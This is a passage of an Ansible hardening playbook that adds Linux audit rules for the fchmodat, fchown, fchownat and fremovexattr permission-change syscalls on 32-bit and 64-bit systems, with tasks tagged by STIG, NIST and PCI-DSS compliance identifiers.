        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030490
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchmodat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit fchown tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchown
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fchown for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of fchown in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of fchown in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchown
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fchown for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of fchown in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchown
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of fchown in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchown
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit fchownat tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchownat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fchownat for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchownat
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of fchownat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchownat
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of fchownat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchownat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fchownat for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchownat
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of fchownat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fchownat
        syscall_grouping:
        - chown
        - fchown
        - fchownat
        - lchown

    - name: Check existence of fchownat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030480
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fchownat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit fremovexattr tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_fremovexattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for fremovexattr for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fremovexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of fremovexattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - fremovexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of fremovexattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
